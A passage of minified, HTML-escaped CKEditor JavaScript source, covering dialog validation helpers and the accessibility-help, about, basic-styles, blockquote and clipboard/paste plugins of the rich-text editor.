a.removeClass(&quot;cke_disabled&quot;)},isEnabled:function(){return!this.getElement().hasClass(&quot;cke_disabled&quot;)},isVisible:function(){return this.getInputElement().isVisible()},isFocusable:function(){return this.isEnabled()&amp;&amp;this.isVisible()?!0:!1}};CKEDITOR.ui.dialog.hbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getChild:function(a){if(1&gt;arguments.length)return this._.children.concat();a.splice||(a=[a]);return 2&gt;a.length?this._.children[a[0]]:this._.children[a[0]]&amp;&amp;this._.children[a[0]].getChild?
this._.children[a[0]].getChild(a.slice(1,a.length)):null}},!0);CKEDITOR.ui.dialog.vbox.prototype=new CKEDITOR.ui.dialog.hbox;(function(){var a={build:function(a,b,c){for(var d=b.children,f,e=[],g=[],h=0;h&lt;d.length&amp;&amp;(f=d[h]);h++){var k=[];e.push(k);g.push(CKEDITOR.dialog._.uiElementBuilders[f.type].build(a,f,k))}return new CKEDITOR.ui.dialog[b.type](a,g,e,c,b)}};CKEDITOR.dialog.addUIElement(&quot;hbox&quot;,a);CKEDITOR.dialog.addUIElement(&quot;vbox&quot;,a)})();CKEDITOR.dialogCommand=function(a,b){this.dialogName=a;
CKEDITOR.tools.extend(this,b,!0)};CKEDITOR.dialogCommand.prototype={exec:function(a){a.openDialog(this.dialogName)},canUndo:!1,editorFocus:1};(function(){var a=/^([a]|[^a])+$/,b=/^\d*$/,c=/^\d*(?:\.\d+)?$/,d=/^(((\d*(\.\d+))|(\d*))(px|\%)?)?$/,f=/^(((\d*(\.\d+))|(\d*))(px|em|ex|in|cm|mm|pt|pc|\%)?)?$/i,e=/^(\s*[\w-]+\s*:\s*[^:;]+(?:;|$))*$/;CKEDITOR.VALIDATE_OR=1;CKEDITOR.VALIDATE_AND=2;CKEDITOR.dialog.validate={functions:function(){var a=arguments;return function(){var b=this&amp;&amp;this.getValue?this.getValue():
a[0],c,d=CKEDITOR.VALIDATE_AND,f=[],e;for(e=0;e&lt;a.length;e++)if(&quot;function&quot;==typeof a[e])f.push(a[e]);else break;e&lt;a.length&amp;&amp;&quot;string&quot;==typeof a[e]&amp;&amp;(c=a[e],e++);e&lt;a.length&amp;&amp;&quot;number&quot;==typeof a[e]&amp;&amp;(d=a[e]);var g=d==CKEDITOR.VALIDATE_AND?!0:!1;for(e=0;e&lt;f.length;e++)g=d==CKEDITOR.VALIDATE_AND?g&amp;&amp;f[e](b):g||f[e](b);return g?!0:c}},regex:function(a,b){return function(c){c=this&amp;&amp;this.getValue?this.getValue():c;return a.test(c)?!0:b}},notEmpty:function(b){return this.regex(a,b)},integer:function(a){return this.regex(b,
a)},number:function(a){return this.regex(c,a)},cssLength:function(a){return this.functions(function(a){return f.test(CKEDITOR.tools.trim(a))},a)},htmlLength:function(a){return this.functions(function(a){return d.test(CKEDITOR.tools.trim(a))},a)},inlineStyle:function(a){return this.functions(function(a){return e.test(CKEDITOR.tools.trim(a))},a)},equals:function(a,b){return this.functions(function(b){return b==a},b)},notEqual:function(a,b){return this.functions(function(b){return b!=a},b)}};CKEDITOR.on(&quot;instanceDestroyed&quot;,
function(a){if(CKEDITOR.tools.isEmpty(CKEDITOR.instances)){for(var b;b=CKEDITOR.dialog._.currentTop;)b.hide();for(var c in C)C[c].remove();C={}}a=a.editor._.storedDialogs;for(var d in a)a[d].destroy()})})();CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{openDialog:function(a,b){var c=null,d=CKEDITOR.dialog._.dialogDefinitions[a];null===CKEDITOR.dialog._.currentTop&amp;&amp;v(this);if(&quot;function&quot;==typeof d)c=this._.storedDialogs||(this._.storedDialogs={}),c=c[a]||(c[a]=new CKEDITOR.dialog(this,a)),b&amp;&amp;b.call(c,
c),c.show();else{if(&quot;failed&quot;==d)throw u(this),Error(&#039;[CKEDITOR.dialog.openDialog] Dialog &quot;&#039;+a+&#039;&quot; failed when loading definition.&#039;);&quot;string&quot;==typeof d&amp;&amp;CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(d),function(){&quot;function&quot;!=typeof CKEDITOR.dialog._.dialogDefinitions[a]&amp;&amp;(CKEDITOR.dialog._.dialogDefinitions[a]=&quot;failed&quot;);this.openDialog(a,b)},this,0,1)}CKEDITOR.skin.loadPart(&quot;dialog&quot;);return c}})}(),CKEDITOR.plugins.add(&quot;dialog&quot;,{requires:&quot;dialogui&quot;,init:function(a){a.on(&quot;doubleclick&quot;,function(e){e.data.dialog&amp;&amp;
a.openDialog(e.data.dialog)},null,null,999)}}),function(){CKEDITOR.plugins.add(&quot;a11yhelp&quot;,{requires:&quot;dialog&quot;,availableLangs:{af:1,ar:1,bg:1,ca:1,cs:1,cy:1,da:1,de:1,&quot;de-ch&quot;:1,el:1,en:1,&quot;en-gb&quot;:1,eo:1,es:1,et:1,eu:1,fa:1,fi:1,fo:1,fr:1,&quot;fr-ca&quot;:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,it:1,ja:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,nb:1,nl:1,no:1,pl:1,pt:1,&quot;pt-br&quot;:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,sr:1,&quot;sr-latn&quot;:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,zh:1,&quot;zh-cn&quot;:1},init:function(a){var e=this;a.addCommand(&quot;a11yHelp&quot;,
{exec:function(){var b=a.langCode,b=e.availableLangs[b]?b:e.availableLangs[b.replace(/-.*/,&quot;&quot;)]?b.replace(/-.*/,&quot;&quot;):&quot;en&quot;;CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(e.path+&quot;dialogs/lang/&quot;+b+&quot;.js&quot;),function(){a.lang.a11yhelp=e.langEntries[b];a.openDialog(&quot;a11yHelp&quot;)})},modes:{wysiwyg:1,source:1},readOnly:1,canUndo:!1});a.setKeystroke(CKEDITOR.ALT+48,&quot;a11yHelp&quot;);CKEDITOR.dialog.add(&quot;a11yHelp&quot;,this.path+&quot;dialogs/a11yhelp.js&quot;);a.on(&quot;ariaEditorHelpLabel&quot;,function(b){b.data.label=a.lang.common.editorHelp})}})}(),
CKEDITOR.plugins.add(&quot;about&quot;,{requires:&quot;dialog&quot;,init:function(a){var e=a.addCommand(&quot;about&quot;,new CKEDITOR.dialogCommand(&quot;about&quot;));e.modes={wysiwyg:1,source:1};e.canUndo=!1;e.readOnly=1;a.ui.addButton&amp;&amp;a.ui.addButton(&quot;About&quot;,{label:a.lang.about.title,command:&quot;about&quot;,toolbar:&quot;about&quot;});CKEDITOR.dialog.add(&quot;about&quot;,this.path+&quot;dialogs/about.js&quot;)}}),CKEDITOR.plugins.add(&quot;basicstyles&quot;,{init:function(a){var e=0,b=function(b,d,h,k){if(k){k=new CKEDITOR.style(k);var g=c[h];g.unshift(k);a.attachStyleStateChange(k,
function(b){!a.readOnly&amp;&amp;a.getCommand(h).setState(b)});a.addCommand(h,new CKEDITOR.styleCommand(k,{contentForms:g}));a.ui.addButton&amp;&amp;a.ui.addButton(b,{label:d,command:h,toolbar:&quot;basicstyles,&quot;+(e+=10)})}},c={bold:[&quot;strong&quot;,&quot;b&quot;,[&quot;span&quot;,function(a){a=a.styles[&quot;font-weight&quot;];return&quot;bold&quot;==a||700&lt;=+a}]],italic:[&quot;em&quot;,&quot;i&quot;,[&quot;span&quot;,function(a){return&quot;italic&quot;==a.styles[&quot;font-style&quot;]}]],underline:[&quot;u&quot;,[&quot;span&quot;,function(a){return&quot;underline&quot;==a.styles[&quot;text-decoration&quot;]}]],strike:[&quot;s&quot;,&quot;strike&quot;,[&quot;span&quot;,function(a){return&quot;line-through&quot;==
a.styles[&quot;text-decoration&quot;]}]],subscript:[&quot;sub&quot;],superscript:[&quot;sup&quot;]},d=a.config,k=a.lang.basicstyles;b(&quot;Bold&quot;,k.bold,&quot;bold&quot;,d.coreStyles_bold);b(&quot;Italic&quot;,k.italic,&quot;italic&quot;,d.coreStyles_italic);b(&quot;Underline&quot;,k.underline,&quot;underline&quot;,d.coreStyles_underline);b(&quot;Strike&quot;,k.strike,&quot;strike&quot;,d.coreStyles_strike);b(&quot;Subscript&quot;,k.subscript,&quot;subscript&quot;,d.coreStyles_subscript);b(&quot;Superscript&quot;,k.superscript,&quot;superscript&quot;,d.coreStyles_superscript);a.setKeystroke([[CKEDITOR.CTRL+66,&quot;bold&quot;],[CKEDITOR.CTRL+73,&quot;italic&quot;],
[CKEDITOR.CTRL+85,&quot;underline&quot;]])}}),CKEDITOR.config.coreStyles_bold={element:&quot;strong&quot;,overrides:&quot;b&quot;},CKEDITOR.config.coreStyles_italic={element:&quot;em&quot;,overrides:&quot;i&quot;},CKEDITOR.config.coreStyles_underline={element:&quot;u&quot;},CKEDITOR.config.coreStyles_strike={element:&quot;s&quot;,overrides:&quot;strike&quot;},CKEDITOR.config.coreStyles_subscript={element:&quot;sub&quot;},CKEDITOR.config.coreStyles_superscript={element:&quot;sup&quot;},function(){var a={exec:function(a){var b=a.getCommand(&quot;blockquote&quot;).state,c=a.getSelection(),d=c&amp;&amp;c.getRanges()[0];
if(d){var k=c.createBookmarks();if(CKEDITOR.env.ie){var m=k[0].startNode,f=k[0].endNode,h;if(m&amp;&amp;&quot;blockquote&quot;==m.getParent().getName())for(h=m;h=h.getNext();)if(h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;h.isBlockBoundary()){m.move(h,!0);break}if(f&amp;&amp;&quot;blockquote&quot;==f.getParent().getName())for(h=f;h=h.getPrevious();)if(h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;h.isBlockBoundary()){f.move(h);break}}var l=d.createIterator();l.enlargeBr=a.config.enterMode!=CKEDITOR.ENTER_BR;if(b==CKEDITOR.TRISTATE_OFF){for(m=[];b=l.getNextParagraph();)m.push(b);
1&gt;m.length&amp;&amp;(b=a.document.createElement(a.config.enterMode==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;),f=k.shift(),d.insertNode(b),b.append(new CKEDITOR.dom.text(&quot;﻿&quot;,a.document)),d.moveToBookmark(f),d.selectNodeContents(b),d.collapse(!0),f=d.createBookmark(),m.push(b),k.unshift(f));h=m[0].getParent();d=[];for(f=0;f&lt;m.length;f++)b=m[f],h=h.getCommonAncestor(b.getParent());for(b={table:1,tbody:1,tr:1,ol:1,ul:1};b[h.getName()];)h=h.getParent();for(f=null;0&lt;m.length;){for(b=m.shift();!b.getParent().equals(h);)b=b.getParent();
b.equals(f)||d.push(b);f=b}for(;0&lt;d.length;)if(b=d.shift(),&quot;blockquote&quot;==b.getName()){for(f=new CKEDITOR.dom.documentFragment(a.document);b.getFirst();)f.append(b.getFirst().remove()),m.push(f.getLast());f.replace(b)}else m.push(b);d=a.document.createElement(&quot;blockquote&quot;);for(d.insertBefore(m[0]);0&lt;m.length;)b=m.shift(),d.append(b)}else if(b==CKEDITOR.TRISTATE_ON){f=[];for(h={};b=l.getNextParagraph();){for(m=d=null;b.getParent();){if(&quot;blockquote&quot;==b.getParent().getName()){d=b.getParent();m=b;break}b=
b.getParent()}d&amp;&amp;m&amp;&amp;!m.getCustomData(&quot;blockquote_moveout&quot;)&amp;&amp;(f.push(m),CKEDITOR.dom.element.setMarker(h,m,&quot;blockquote_moveout&quot;,!0))}CKEDITOR.dom.element.clearAllMarkers(h);b=[];m=[];for(h={};0&lt;f.length;)l=f.shift(),d=l.getParent(),l.getPrevious()?l.getNext()?(l.breakParent(l.getParent()),m.push(l.getNext())):l.remove().insertAfter(d):l.remove().insertBefore(d),d.getCustomData(&quot;blockquote_processed&quot;)||(m.push(d),CKEDITOR.dom.element.setMarker(h,d,&quot;blockquote_processed&quot;,!0)),b.push(l);CKEDITOR.dom.element.clearAllMarkers(h);
for(f=m.length-1;0&lt;=f;f--){d=m[f];a:{h=d;for(var l=0,g=h.getChildCount(),n=void 0;l&lt;g&amp;&amp;(n=h.getChild(l));l++)if(n.type==CKEDITOR.NODE_ELEMENT&amp;&amp;n.isBlockBoundary()){h=!1;break a}h=!0}h&amp;&amp;d.remove()}if(a.config.enterMode==CKEDITOR.ENTER_BR)for(d=!0;b.length;)if(l=b.shift(),&quot;div&quot;==l.getName()){f=new CKEDITOR.dom.documentFragment(a.document);!d||!l.getPrevious()||l.getPrevious().type==CKEDITOR.NODE_ELEMENT&amp;&amp;l.getPrevious().isBlockBoundary()||f.append(a.document.createElement(&quot;br&quot;));for(d=l.getNext()&amp;&amp;
!(l.getNext().type==CKEDITOR.NODE_ELEMENT&amp;&amp;l.getNext().isBlockBoundary());l.getFirst();)l.getFirst().remove().appendTo(f);d&amp;&amp;f.append(a.document.createElement(&quot;br&quot;));f.replace(l);d=!1}}c.selectBookmarks(k);a.focus()}},refresh:function(a,b){this.setState(a.elementPath(b.block||b.blockLimit).contains(&quot;blockquote&quot;,1)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)},context:&quot;blockquote&quot;,allowedContent:&quot;blockquote&quot;,requiredContent:&quot;blockquote&quot;};CKEDITOR.plugins.add(&quot;blockquote&quot;,{init:function(e){e.blockless||
(e.addCommand(&quot;blockquote&quot;,a),e.ui.addButton&amp;&amp;e.ui.addButton(&quot;Blockquote&quot;,{label:e.lang.blockquote.toolbar,command:&quot;blockquote&quot;,toolbar:&quot;blocks,10&quot;}))}})}(),&quot;use strict&quot;,function(){function a(a,b,c){b.type||(b.type=&quot;auto&quot;);if(c&amp;&amp;!1===a.fire(&quot;beforePaste&quot;,b)||!b.dataValue&amp;&amp;b.dataTransfer.isEmpty())return!1;b.dataValue||(b.dataValue=&quot;&quot;);if(CKEDITOR.env.gecko&amp;&amp;&quot;drop&quot;==b.method&amp;&amp;a.toolbox)a.once(&quot;afterPaste&quot;,function(){a.toolbox.focus()});return a.fire(&quot;paste&quot;,b)}function e(b){function c(){var a=b.editable();
if(CKEDITOR.plugins.clipboard.isCustomCopyCutSupported){var d=function(a){b.readOnly&amp;&amp;&quot;cut&quot;==a.name||B.initPasteDataTransfer(a,b);a.data.preventDefault()};a.on(&quot;copy&quot;,d);a.on(&quot;cut&quot;,d);a.on(&quot;cut&quot;,function(){b.readOnly||b.extractSelectedHtml()},null,null,999)}a.on(B.mainPasteEvent,function(a){&quot;beforepaste&quot;==B.mainPasteEvent&amp;&amp;D||w(a)});&quot;beforepaste&quot;==B.mainPasteEvent&amp;&amp;(a.on(&quot;paste&quot;,function(a){F||(e(),a.data.preventDefault(),w(a),k(&quot;paste&quot;)||b.openDialog(&quot;paste&quot;))}),a.on(&quot;contextmenu&quot;,h,null,null,0),
a.on(&quot;beforepaste&quot;,function(a){!a.data||a.data.$.ctrlKey||a.data.$.shiftKey||h()},null,null,0));a.on(&quot;beforecut&quot;,function(){!D&amp;&amp;l(b)});var f;a.attachListener(CKEDITOR.env.ie?a:b.document.getDocumentElement(),&quot;mouseup&quot;,function(){f=setTimeout(function(){C()},0)});b.on(&quot;destroy&quot;,function(){clearTimeout(f)});a.on(&quot;keyup&quot;,C)}function d(a){return{type:a,canUndo:&quot;cut&quot;==a,startDisabled:!0,exec:function(){&quot;cut&quot;==this.type&amp;&amp;l();var a;var c=this.type;if(CKEDITOR.env.ie)a=k(c);else try{a=b.document.$.execCommand(c,
!1,null)}catch(d){a=!1}a||b.showNotification(b.lang.clipboard[this.type+&quot;Error&quot;]);return a}}}function f(){return{canUndo:!1,async:!0,exec:function(b,c){var d=this,f=function(c,f){c&amp;&amp;a(b,c,!!f);b.fire(&quot;afterCommandExec&quot;,{name:&quot;paste&quot;,command:d,returnValue:!!c})};&quot;string&quot;==typeof c?f({dataValue:c,method:&quot;paste&quot;,dataTransfer:B.initPasteDataTransfer()},1):b.getClipboardData(f)}}}function e(){F=1;setTimeout(function(){F=0},100)}function h(){D=1;setTimeout(function(){D=0},10)}function k(a){var c=b.document,
d=c.getBody(),f=!1,e=function(){f=!0};d.on(a,e);7&lt;CKEDITOR.env.version?c.$.execCommand(a):c.$.selection.createRange().execCommand(a);d.removeListener(a,e);return f}function l(){if(CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.quirks){var a=b.getSelection(),c,d,f;a.getType()==CKEDITOR.SELECTION_ELEMENT&amp;&amp;(c=a.getSelectedElement())&amp;&amp;(d=a.getRanges()[0],f=b.document.createText(&quot;&quot;),f.insertBefore(c),d.setStartBefore(f),d.setEndAfter(c),a.selectRanges([d]),setTimeout(function(){c.getParent()&amp;&amp;(f.remove(),a.selectElement(c))},
0))}}function m(a,c){var d=b.document,f=b.editable(),e=function(a){a.cancel()},h;if(!d.getById(&quot;cke_pastebin&quot;)){var k=b.getSelection(),l=k.createBookmarks();CKEDITOR.env.ie&amp;&amp;k.root.fire(&quot;selectionchange&quot;);var n=new CKEDITOR.dom.element(!CKEDITOR.env.webkit&amp;&amp;!f.is(&quot;body&quot;)||CKEDITOR.env.ie?&quot;div&quot;:&quot;body&quot;,d);n.setAttributes({id:&quot;cke_pastebin&quot;,&quot;data-cke-temp&quot;:&quot;1&quot;});var p=0,d=d.getWindow();CKEDITOR.env.webkit?(f.append(n),n.addClass(&quot;cke_editable&quot;),f.is(&quot;body&quot;)||(p=&quot;static&quot;!=f.getComputedStyle(&quot;position&quot;)?
f:CKEDITOR.dom.element.get(f.$.offsetParent),p=p.getDocumentPosition().y)):f.getAscendant(CKEDITOR.env.ie?&quot;body&quot;:&quot;html&quot;,1).append(n);n.setStyles({position:&quot;absolute&quot;,top:d.getScrollPosition().y-p+10+&quot;px&quot;,width:&quot;1px&quot;,height:Math.max(1,d.getViewPaneSize().height-20)+&quot;px&quot;,overflow:&quot;hidden&quot;,margin:0,padding:0});CKEDITOR.env.safari&amp;&amp;n.setStyles(CKEDITOR.tools.cssVendorPrefix(&quot;user-select&quot;,&quot;text&quot;));(p=n.getParent().isReadOnly())?(n.setOpacity(0),n.setAttribute(&quot;contenteditable&quot;,!0)):n.setStyle(&quot;ltr&quot;==b.config.contentsLangDirection?
&quot;left&quot;:&quot;right&quot;,&quot;-10000px&quot;);b.on(&quot;selectionChange&quot;,e,null,null,0);if(CKEDITOR.env.webkit||CKEDITOR.env.gecko)h=f.once(&quot;blur&quot;,e,null,null,-100);p&amp;&amp;n.focus();p=new CKEDITOR.dom.range(n);p.selectNodeContents(n);var q=p.select();CKEDITOR.env.ie&amp;&amp;(h=f.once(&quot;blur&quot;,function(){b.lockSelection(q)}));var y=CKEDITOR.document.getWindow().getScrollPosition().y;setTimeout(function(){CKEDITOR.env.webkit&amp;&amp;(CKEDITOR.document.getBody().$.scrollTop=y);h&amp;&amp;h.removeListener();CKEDITOR.env.ie&amp;&amp;f.focus();k.selectBookmarks(l);
n.remove();var a;CKEDITOR.env.webkit&amp;&amp;(a=n.getFirst())&amp;&amp;a.is&amp;&amp;a.hasClass(&quot;Apple-style-span&quot;)&amp;&amp;(n=a);b.removeListener(&quot;selectionChange&quot;,e);c(n.getHtml())},0)}}function z(){if(&quot;paste&quot;==B.mainPasteEvent)return b.fire(&quot;beforePaste&quot;,{type:&quot;auto&quot;,method:&quot;paste&quot;}),!1;b.focus();e();var a=b.focusManager;a.lock();if(b.editable().fire(B.mainPasteEvent)&amp;&amp;!k(&quot;paste&quot;))return a.unlock(),!1;a.unlock();return!0}function r(a){if(&quot;wysiwyg&quot;==b.mode)switch(a.data.keyCode){case CKEDITOR.CTRL+86:case CKEDITOR.SHIFT+45:a=
b.editable();e();&quot;paste&quot;==B.mainPasteEvent&amp;&amp;a.fire(&quot;beforepaste&quot;);break;case CKEDITOR.CTRL+88:case CKEDITOR.SHIFT+46:b.fire(&quot;saveSnapshot&quot;),setTimeout(function(){b.fire(&quot;saveSnapshot&quot;)},50)}}function w(c){var d={type:&quot;auto&quot;,method:&quot;paste&quot;,dataTransfer:B.initPasteDataTransfer(c)};d.dataTransfer.cacheData();var f=!1!==b.fire(&quot;beforePaste&quot;,d);f&amp;&amp;B.canClipboardApiBeTrusted(d.dataTransfer,b)?(c.data.preventDefault(),setTimeout(function(){a(b,d)},0)):m(c,function(c){d.dataValue=c.replace(/&lt;span[^&gt;]+data-cke-bookmark[^&lt;]*?&lt;\/span&gt;/ig,
&quot;&quot;);f&amp;&amp;a(b,d)})}function C(){if(&quot;wysiwyg&quot;==b.mode){var a=x(&quot;paste&quot;);b.getCommand(&quot;cut&quot;).setState(x(&quot;cut&quot;));b.getCommand(&quot;copy&quot;).setState(x(&quot;copy&quot;));b.getCommand(&quot;paste&quot;).setState(a);b.fire(&quot;pasteState&quot;,a)}}function x(a){if(E&amp;&amp;a in{paste:1,cut:1})return CKEDITOR.TRISTATE_DISABLED;if(&quot;paste&quot;==a)return CKEDITOR.TRISTATE_OFF;a=b.getSelection();var c=a.getRanges();return a.getType()==CKEDITOR.SELECTION_NONE||1==c.length&amp;&amp;c[0].collapsed?CKEDITOR.TRISTATE_DISABLED:CKEDITOR.TRISTATE_OFF}var B=CKEDITOR.plugins.clipboard,
D=0,F=0,E=0;(function(){b.on(&quot;key&quot;,r);b.on(&quot;contentDom&quot;,c);b.on(&quot;selectionChange&quot;,function(a){E=a.data.selection.getRanges()[0].checkReadOnly();C()});b.contextMenu&amp;&amp;b.contextMenu.addListener(function(a,b){E=b.getRanges()[0].checkReadOnly();return{cut:x(&quot;cut&quot;),copy:x(&quot;copy&quot;),paste:x(&quot;paste&quot;)}})})();(function(){function a(c,d,f,e,h){var k=b.lang.clipboard[d];b.addCommand(d,f);b.ui.addButton&amp;&amp;b.ui.addButton(c,{label:k,command:d,toolbar:&quot;clipboard,&quot;+e});b.addMenuItems&amp;&amp;b.addMenuItem(d,{label:k,command:d,
group:&quot;clipboard&quot;,order:h})}a(&quot;Cut&quot;,&quot;cut&quot;,d(&quot;cut&quot;),10,1);a(&quot;Copy&quot;,&quot;copy&quot;,d(&quot;copy&quot;),20,4);a(&quot;Paste&quot;,&quot;paste&quot;,f(),30,8)})();b.getClipboardData=function(a,c){function d(a){a.removeListener();a.cancel();c(a.data)}function f(a){a.removeListener();a.cancel();l=!0;c({type:k,dataValue:a.data.dataValue,dataTransfer:a.data.dataTransfer,method:&quot;paste&quot;})}function e(){this.customTitle=a&amp;&amp;a.title}var h=!1,k=&quot;auto&quot;,l=!1;c||(c=a,a=null);b.on(&quot;paste&quot;,d,null,null,0);b.on(&quot;beforePaste&quot;,function(a){a.removeListener();
h=!0;k=a.data.type},null,null,1E3);!1===z()&amp;&amp;(b.removeListener(&quot;paste&quot;,d),h&amp;&amp;b.fire(&quot;pasteDialog&quot;,e)?(b.on(&quot;pasteDialogCommit&quot;,f),b.on(&quot;dialogHide&quot;,function(a){a.removeListener();a.data.removeListener(&quot;pasteDialogCommit&quot;,f);setTimeout(function(){l||c(null)},10)})):c(null))}}function b(a){if(CKEDITOR.env.webkit){if(!a.match(/^[^&lt;]*$/g)&amp;&amp;!a.match(/^(&lt;div&gt;&lt;br( ?\/)?&gt;&lt;\/div&gt;|&lt;div&gt;[^&lt;]*&lt;\/div&gt;)*$/gi))return&quot;html&quot;}else if(CKEDITOR.env.ie){if(!a.match(/^([^&lt;]|&lt;br( ?\/)?&gt;)*$/gi)&amp;&amp;!a.match(/^(&lt;p&gt;([^&lt;]|&lt;br( ?\/)?&gt;)*&lt;\/p&gt;|(\r\n))*$/gi))return&quot;html&quot;}else if(CKEDITOR.env.gecko){if(!a.match(/^([^&lt;]|&lt;br( ?\/)?&gt;)*$/gi))return&quot;html&quot;}else return&quot;html&quot;;
return&quot;htmlifiedtext&quot;}function c(a,b){function c(a){return CKEDITOR.tools.repeat(&quot;\x3c/p\x3e\x3cp\x3e&quot;,~~(a/2))+(1==a%2?&quot;\x3cbr\x3e&quot;:&quot;&quot;)}b=b.replace(/\s+/g,&quot; &quot;).replace(/&gt; +&lt;/g,&quot;\x3e\x3c&quot;).replace(/&lt;br ?\/&gt;/gi,&quot;\x3cbr\x3e&quot;);b=b.replace(/&lt;\/?[A-Z]+&gt;/g,function(a){return a.toLowerCase()});if(b.match(/^[^&lt;]$/))return b;CKEDITOR.env.webkit&amp;&amp;-1&lt;b.indexOf(&quot;\x3cdiv\x3e&quot;)&amp;&amp;(b=b.replace(/^(&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;)(?!$|(&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;))/g,&quot;\x3cbr\x3e&quot;).replace(/^(&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;){2}(?!$)/g,&quot;\x3cdiv\x3e\x3c/div\x3e&quot;),
b.match(/&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;/)&amp;&amp;(b=&quot;\x3cp\x3e&quot;+b.replace(/(&lt;div&gt;(&lt;br&gt;|)&lt;\/div&gt;)+/g,function(a){return c(a.split(&quot;\x3c/div\x3e\x3cdiv\x3e&quot;).length+1)})+&quot;\x3c/p\x3e&quot;),b=b.replace(/&lt;\/div&gt;&lt;div&gt;/g,&quot;\x3cbr\x3e&quot;),b=b.replace(/&lt;\/?div&gt;/g,&quot;&quot;));CKEDITOR.env.gecko&amp;&amp;a.enterMode!=CKEDITOR.ENTER_BR&amp;&amp;(CKEDITOR.env.gecko&amp;&amp;(b=b.replace(/^&lt;br&gt;&lt;br&gt;$/,&quot;\x3cbr\x3e&quot;)),-1&lt;b.indexOf(&quot;\x3cbr\x3e\x3cbr\x3e&quot;)&amp;&amp;(b=&quot;\x3cp\x3e&quot;+b.replace(/(&lt;br&gt;){2,}/g,function(a){return c(a.length/4)})+&quot;\x3c/p\x3e&quot;));return m(a,b)}function d(){function a(){var b=
{},c;for(c in CKEDITOR.dtd)&quot;$&quot;!=c.charAt(0)&amp;&amp;&quot;div&quot;!=c&amp;&amp;&quot;span&quot;!=c&amp;&amp;(b[c]=1);return b}var b={};return{get:function(c){return&quot;plain-text&quot;==c?b.plainText||(b.plainText=new CKEDITOR.filter(&quot;br&quot;)):&quot;semantic-content&quot;==c?((c=b.semanticContent)||(c=new CKEDITOR.filter,c.allow({$1:{elements:a(),attributes:!0,styles:!1,classes:!1}}),c=b.semanticContent=c),c):c?new CKEDITOR.filter(c):null}}}function k(a,b,c){b=CKEDITOR.htmlParser.fragment.fromHtml(b);var d=new CKEDITOR.htmlParser.basicWriter;c.applyTo(b,!0,!1,
a.activeEnterMode);b.writeHtml(d);return d.getHtml()}function m(a,b){a.enterMode==CKEDITOR.ENTER_BR?b=b.replace(/(&lt;\/p&gt;&lt;p&gt;)+/g,function(a){return CKEDITOR.tools.repeat(&quot;\x3cbr\x3e&quot;,a.length/7*2)}).replace(/&lt;\/?p&gt;/g,&quot;&quot;):a.enterMode==CKEDITOR.ENTER_DIV&amp;&amp;(b=b.replace(/&lt;(\/)?p&gt;/g,&quot;\x3c$1div\x3e&quot;));return b}function f(a){a.data.preventDefault();a.data.$.dataTransfer.dropEffect=&quot;none&quot;}function h(b){var c=CKEDITOR.plugins.clipboard;b.on(&quot;contentDom&quot;,function(){function d(c,f,e){f.select();a(b,{dataTransfer:e,
method:&quot;drop&quot;},1);e.sourceEditor.fire(&quot;saveSnapshot&quot;);e.sourceEditor.editable().extractHtmlFromRange(c);e.sourceEditor.getSelection().selectRanges([c]);e.sourceEditor.fire(&quot;saveSnapshot&quot;)}function f(d,e){d.select();a(b,{dataTransfer:e,method:&quot;drop&quot;},1);c.resetDragDataTransfer()}function e(a,c,d){var f={$:a.data.$,target:a.data.getTarget()};c&amp;&amp;(f.dragRange=c);d&amp;&amp;(f.dropRange=d);!1===b.fire(a.name,f)&amp;&amp;a.data.preventDefault()}function h(a){a.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(a=a.getParent());return a.getChildCount()}
var k=b.editable(),l=CKEDITOR.plugins.clipboard.getDropTarget(b),m=b.ui.space(&quot;top&quot;),z=b.ui.space(&quot;bottom&quot;);c.preventDefaultDropOnElement(m);c.preventDefaultDropOnElement(z);k.attachListener(l,&quot;dragstart&quot;,e);k.attachListener(b,&quot;dragstart&quot;,c.resetDragDataTransfer,c,null,1);k.attachListener(b,&quot;dragstart&quot;,function(a){c.initDragDataTransfer(a,b)},null,null,2);k.attachListener(b,&quot;dragstart&quot;,function(){var a=c.dragRange=b.getSelection().getRanges()[0];CKEDITOR.env.ie&amp;&amp;10&gt;CKEDITOR.env.version&amp;&amp;(c.dragStartContainerChildCount=
a?h(a.startContainer):null,c.dragEndContainerChildCount=a?h(a.endContainer):null)},null,null,100);k.attachListener(l,&quot;dragend&quot;,e);k.attachListener(b,&quot;dragend&quot;,c.initDragDataTransfer,c,null,1);k.attachListener(b,&quot;dragend&quot;,c.resetDragDataTransfer,c,null,100);k.attachListener(l,&quot;dragover&quot;,function(a){var b=a.data.getTarget();b&amp;&amp;b.is&amp;&amp;b.is(&quot;html&quot;)?a.data.preventDefault():CKEDITOR.env.ie&amp;&amp;CKEDITOR.plugins.clipboard.isFileApiSupported&amp;&amp;a.data.$.dataTransfer.types.contains(&quot;Files&quot;)&amp;&amp;a.data.preventDefault()});
k.attachListener(l,&quot;drop&quot;,function(a){if(!a.data.$.defaultPrevented){a.data.preventDefault();var d=a.data.getTarget();if(!d.isReadOnly()||d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.is(&quot;html&quot;)){var d=c.getRangeAtDropPosition(a,b),f=c.dragRange;d&amp;&amp;e(a,f,d)}}},null,null,9999);k.attachListener(b,&quot;drop&quot;,c.initDragDataTransfer,c,null,1);k.attachListener(b,&quot;drop&quot;,function(a){if(a=a.data){var e=a.dropRange,h=a.dragRange,k=a.dataTransfer;k.getTransferType(b)==CKEDITOR.DATA_TRANSFER_INTERNAL?setTimeout(function(){c.internalDrop(h,
